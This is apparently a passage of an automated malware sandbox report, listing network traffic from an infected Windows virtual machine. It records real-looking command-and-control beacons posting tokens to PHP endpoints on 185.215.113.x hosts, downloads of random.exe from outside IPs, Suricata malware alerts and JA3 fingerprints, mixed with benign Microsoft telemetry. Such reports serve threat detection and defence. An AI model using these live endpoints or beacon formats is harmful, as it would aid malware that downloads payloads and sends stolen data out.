6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"ybncbhylepme------FHJDGHIJDGCBAAAAAFIJ--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49814 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49936 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50146 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_00D4BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

28_2_00D4BE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=559ef8e357ef4a84bfc8a53e21aa4c4a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597336&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEKG6ZkjinWyAVbYH6pzMBSGwAVQQuR7JoZvuP5Xhij0ZN1dw4ntzMRnRE/APXuPaykVvZv3tt4gfhE6Bw/SVB+6JOrKpmSOyHUSGw2Xvck7Bow/yWIBP16DgPT95Dco1ZF+IXxo0ULNlyEoGQtirfFMxHz4AYDE2J68SlW9AdrErLQvXQXRnnM4lwAeQvNQ40EmasCVXPARkWLobN7yHXH4zbz2r3v73YqhfNAUYPXOqfuiROkgzi+za7kgiNVfquFD8oxAsFF35pEiIPhqsWjbGsHHC43JloUDOKaVxXsT0+qc66xgOLtBnakrBAJLIe9MvoRE5Ih8izEfoV3mNTJSATIaFj2H+Yv9/xFrHyDCPyzhsphi4tjSjaEQ308ZwRBOzZpqTzdQqToG8eKQmHZzZGrigTYhPN0qceMjI4GMb8wGO3PjkeY3BQWokoDMm3Vm8MP3fjMQ6qRobZDYnU+5/oMYizV2qG/0Zf9J7JTf+aULyymY8Ei4LqeF2AUVA7kfEoufplzZY+SHPzxFPdr5y6zCAjf5olTQGY17rYy7Lq16YbvGH44a7DDhZ/ho2kBW2NVrckFbTUFNPC6fczMZiH9cB&p=Cache-Control: no-cacheMS-CV: m3aLdNeg20Grbb9S.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ffa0ed179b164217bd5b2fa9973b8e37&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597336&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEKG6ZkjinWyAVbYH6pzMBSGwAVQQuR7JoZvuP5Xhij0ZN1dw4ntzMRnRE/APXuPaykVvZv3tt4gfhE6Bw/SVB+6JOrKpmSOyHUSGw2Xvck7Bow/yWIBP16DgPT95Dco1ZF+IXxo0ULNlyEoGQtirfFMxHz4AYDE2J68SlW9AdrErLQvXQXRnnM4lwAeQvNQ40EmasCVXPARkWLobN7yHXH4zbz2r3v73YqhfNAUYPXOqfuiROkgzi+za7kgiNVfquFD8oxAsFF35pEiIPhqsWjbGsHHC43JloUDOKaVxXsT0+qc66xgOLtBnakrBAJLIe9MvoRE5Ih8izEfoV3mNTJSATIaFj2H+Yv9/xFrHyDCPyzhsphi4tjSjaEQ308ZwRBOzZpqTzdQqToG8eKQmHZzZGrigTYhPN0qceMjI4GMb8wGO3PjkeY3BQWokoDMm3Vm8MP3fjMQ6qRobZDYnU+5/oMYizV2qG/0Zf9J7JTf+aULyymY8Ei4LqeF2AUVA7kfEoufplzZY+SHPzxFPdr5y6zCAjf5olTQGY17rYy7Lq16YbvGH44a7DDhZ/ho2kBW2NVrckFbTUFNPC6fczMZiH9cB&p=Cache-Control: no-cacheMS-CV: m3aLdNeg20Grbb9S.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015511Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=49f20f758535486792f68d0d2939b2a7&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338388&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: xXqcPXnFSkyQ2Zvx.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015511Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ba0fa1a8d0324c1faafc1c04ec1acf57&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-280815&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: xXqcPXnFSkyQ2Zvx.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015511Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8614b696c71046aa901d41d79a60090d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338387&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: xXqcPXnFSkyQ2Zvx.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
